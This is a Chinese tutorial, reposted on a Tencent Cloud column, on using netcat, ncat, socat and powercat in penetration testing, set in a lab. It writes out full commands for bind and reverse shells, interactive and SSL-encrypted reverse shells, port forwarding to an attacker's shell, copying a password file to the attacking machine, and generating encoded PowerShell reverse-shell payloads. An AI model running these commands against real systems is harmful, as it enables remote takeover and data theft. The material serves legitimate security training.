前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透测试中几只“猫”的用法

渗透测试中几只“猫”的用法

作者头像
Power7089
发布2020-11-09 10:02:18
9800
发布2020-11-09 10:02:18
举报

来自 | 黑白之道

原创投稿作者:Nicolus

渗透测试过程中会用到一些系统shell工具,有几只长得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的,这几只“猫”上得了庭堂,下得了厨房,不对,是上可卖萌,下可贩贱,最近汇总了下这几只“猫”的用法,分享如下。

环境信息:

攻击机:KALI 192.168.56.102

目标机:Win7 192.168.56.101

ubuntu 192.168.56.103

1.netcat

字nc,号瑞士军刀,简洁而不简单,擅长以最简单的招式破解最牢固的系统。这只“猫”最常见,大家都很熟悉了。执行nc -h 可以查看帮助信息。

最常用用法:

(1)socket连接:

作为客户端连接一个主机:nc -nv 192.168.56.101 8888。

作为服务端提供一个连接:nc -nvlp 8888。

【非交互式shell,此时可以直接聊“骚”】

(2)传输文件:

传输方:

nc -nv 192.168.56.101 8888

< /usr/share/windows-resources/powercat/powercat.ps1

(apt-get install powercat,之所以传这个,因为后面要用到)

接收方:

nc -nvlp 8888 > d:\powercat.ps1

(3)扫描

TCP扫描:

nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的帮助信息,-z是用于扫描的,-w用于设置超时时间)

UDP扫描:

默认是TCP扫描,在上述命令上增加一个-u 参数即可使用UDP扫描:

nc -nv -z -w 1 -u 192.168.56.101 53 161 162

(4)创建shell

bind shell: 正向连接(攻击机去主动连接)

目标机执行 nc -nvlp 192.168.56.101 4444 -e cmd.exe

攻击机执行 nc -nv 192.168.56.101 4444 得到一个cmd.

reverse shell: 反向连接(攻击机等着被连接)

攻击机执行:nc -nvlp 4444

目标机执行:nc -nv 192.168.56.102 4444 -e cmd.exe

(5)-c与-L

KALI版本的nc比win7版本的多一个-c,可以直接发命令,而不是像-e一样是一个shell文件,win7版本的多一个-L,可以一直监听,而-l会在连接中断后不再监听。(KALI版本是有一个-k选项的,但是并没有起作用,这个参数在下一部分中的ncat中被优化)。

【TIPS:这时KALI变为向win7传送数据了,攻防目标转换,在目标机为Linux时可使用】

(6)其他功能

nc还可以发掘很多其他功能,在LINUX之间可以利用tar传输目录、传输视频流、甚至克隆设备等,有需要的可以找找网上的资料或参考下面的nmap-cat。

2. nmap-cat(ncat)

字ncat,号“21世纪的netcat”,这是nmap项目对原始的netcat(nc)进行的优化改进,但是并不共享源代码,增加了一些新功能,调整了一些参数。

官方cookbook地址:

https://nmap.org/ncat/guide/index.html

安装:apt-get install ncat (Windows版本的直接带了,在nmap的安装目录下)

【装完发现“20世纪的nc”执行程序被替换成了“21世纪的ncat”,如果想再使用老版本的nc,可以执行/bin/nc.traditional,但是后面我们仍然执行ncat,以区分nc】

ncat可以实现上述nc的所有功能,相同部分的用法完全相同,这里再拓展一下用法(有nc也支持的,也有新的,通过ncat -h查看)。

(1)搭建简易http server

客户端用浏览器访问这个文件即可(每客户端可访问一次,因为本质上还是监听端口与连接端口)。

(2)聊天室模式(--chat)

(3)文件传输

仍以powercat.ps1为例

接收方win7:

ncat.exe -l > powercat.ps1

【TIPS】 -l 监听模式如果不跟端口号,则默认使用31337

发送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1

有两个参数--send-only和--receive-only,就是不管对方是否接收和发送了数据,我只发送和接收,不管对方是否接收或发送成功。

反过来,类似于反弹shell 的发送方监听:

发送方KALI:

ncat -l --send-only < powercat.ps1

接收方Win7:

ncat 192.168.56.102 > powercat.ps1

【TIPS】不管你让谁连谁,都得是监听方先启动。一般反弹形式的比较常见,因为一般安全设备会对入向流量拦截,但是出向流量不太好拦截。

利用管道传输多个文件:

接收方ubuntu: ncat -l | tar xzv

发送方KALI:

tar czv| ncat --send-only 192.168.56.103

发送一个磁盘镜像(前提是处于卸载或只读挂载模式):

接收方ubuntu:

ncat -l | bzip2 -d > KALI-hda.image

发送方KALI:

cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103

反向传输同上。

(4)代理模式--broker

如果win7只能访问ubuntu,但是不能访问KALI,而ubuntu可以访问两个,该怎样让KALI给win7传输文件呢?

ubuntu: ncat -l --broker

win7: ncat.exe ubuntu > powercat.ps1

KALI:

ncat --send-only ubuntu < powercat.ps1

【TIPS】broker服务器不缓存两个机器的之间的流量。broker也不会手动断开连接(对比于两个机器直传时,是传输结束两边的连接就直接拆除了),传输结束后需要win7手动断开链接。

(5)加密流量

很简单,在连接或传输文件时加上--ssl参数即可,以传输文件的命令为例:

接收方win7:

ncat.exe -l --ssl > powercat.ps1

发送方KALI:

ncat --send-only 192.168.56.101 --ssl < powercat.ps1

【TIPS】默认是用一个1024位的RSA 密钥自动生成证书。

3. socat

socat,意思是之前的cat,just so so(开玩笑),但是看人家的描述是带两个加号滴!

KALI自带,其他系统下载链接:

http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz

tar zxvf socat-1.7.3.4.tar.gz

cd socat-1.7.3.4

./configure

make && sudo make install

(1)socket客户端与server

Server端:socat TCP4-LISTEN:8888 -

客户端:socat - TCP4:<server’s IP>:8888

【TIPS】“-”前后都有空格,表示标准输入输出

(2)文件传输

这次传递seclists中的一个密码文件到目标机ubuntu上。

正向传输:

ubuntu监听:

remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt

【TIPS】“-”前后都有空格,表示标准输入输出

KALI发送:

root@kali:#

socat

TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt

类似ncat,也做一个反向传输:

KALI监听:

socat

TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt

ubuntu获取:

socat

TCP4:192.168.56.102:8888 file:received_password.txt,create

参数解释:服务端的fork,是创建一个子进程,允许多个连接,跟nc中的-k类似;接收方的file后跟个create表示如果没有则创建。

(命令比nc和ncat复杂多了吧?但其实也有规律,如果是客户端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)

(3)创建shell

正向shell:

ubuntu监听:

socat TCP4-LISTEN:8888 EXEC:/bin/bash

KALI连接:

socat TCP4:192.168.56.103:8888 -

反向shell:

KALI监听:socat -dd TCP4-LISTEN:8888 -

【TIPS】由socat -h 得知-d是查看verbosity信息的意思,可以使用1到4个d,越多越详细,建议是使用两个。

ubuntu连接:

socat

TCP4:192.168.56.102:8888 EXEC:/bin/bash

效果如下:

(4)交互式反弹shell

上述shell都是非交互式的,以下命令可以帮助在KALI上生成一个交互式的shell.

KALI:

socat

TCP4-LISTEN:8888 file:`tty`,raw,echo=0

ubuntu:

socat

TCP4:192.168.56.102:8888

EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(5)加密反弹shell

利用openssl生成证书和秘钥文件:

openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt

合并为一个pem文件:cat test.key test.crt > test.pem

KALI监听:

socat

OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0

ubuntu连接:

socat

OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(6)端口转发

KALI监听:socat TCP-LISTEN:8888,fork -

ubuntu转发:

socat

TCP-LISTEN:8888,fork TCP:192.168.56.102:8888

Win7连接ubuntu:

ncat.exe -nv 192.168.56.103 8888 -e cmd.exe

此时KALI 即获取到win7的shell.

4. powercat

powercat即powershell cat,故名思义,是运行在powershell环境上的,我们测试环境以管理员身份运行Powershell。

在测试win7的powershell上执行Set-ExecutionPolicy Unrestricted 选择Y设置为不限制执行。前面已经通过nc和ncat将该文件传输过去了,也可以通过

https://github.com/besimorhino/powercat下载。后进入powercat的下载目录执行Import-Module powercat.ps1,这样后面可以直接使用powercat这个命令。

执行powercat -h,有两个必选参数,-c是做为客户端,-l 是监听作为服务端。按上面的主要功能再测试下:

(1)创建Shell

Bind Shell:

Win7执行:

powercat -l -p 8888 -e cmd.exe

KALI执行:ncat -nv 192.168.56.101 8888

Reverse Shell:

KALI执行监听:ncat -nvlp 8888

Win7执行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe

【是不是已经驾轻就熟了,因为几乎跟上面参数一样啊,就是换换命令】

(2)文件传输

上传一个文件到攻击机KALI:

KALI执行:

ncat -nvlp 8888 > win7password.txt

Win7执行:

powercat -c 192.168.56.102 -p 8888 -i C:\win7password.txt

反过来,KALI上传到Win7:

Win7执行:powercat -l -p 8888 -of C:\bt.txt

KALI执行:ncat -nv 192.168.56.101 8888 < bt4-password.txt

(3)端口转发

powercat -l -p 8888 -r tcp:192.168.56.102:9999

(4)拥有一个交互式powershell

powercat -l 8888 -ep -rep

-ep:让连接上来的客户端获取一个伪终端

-rep:保持连接,客户端断开的时候链接保持,可以下一次继续连接。

【TIPS】这里有个小坑,KALI连接上这个伪终端后,退出时直接ctrl+C退出,不要执行exit,如果执行exit的话会连WIN7的powershell一起退出,连接无法保持。

(5)本地生成payload

-g,生成一个payload,-ge 生成一个Base64编码的payload

KALI监听起来:ncat -nvlp 8888

生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1

执行.\reverse.ps1

这时KALI获取到反弹shell. 这个reverse.ps1大概有17KB大小,可以用记事本打开修改其内容调整连接参数。

再用-ge试下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1

这时会生成一个约46KB的Base64编码的payload.当然无法直接执行这个ps1.

看powercat -h中的ge参数解释,如果要执行,需要用命令powershell -E 跟上编码过的代码,但是你会发现这个代码量太大了,直接在powershell里根本粘贴不全,可以在ISE中粘贴执行。

5.小结

几只“猫”的主要功能介绍完了,说下老王的想法,最好用的是ncat,功能多而且相对于socat命令语法简单一些,但是socat的某些功能是ncat不能代替的,如交互式终端。powercat也很好用,但前提需要你先把文件下载过去。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员阿甘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档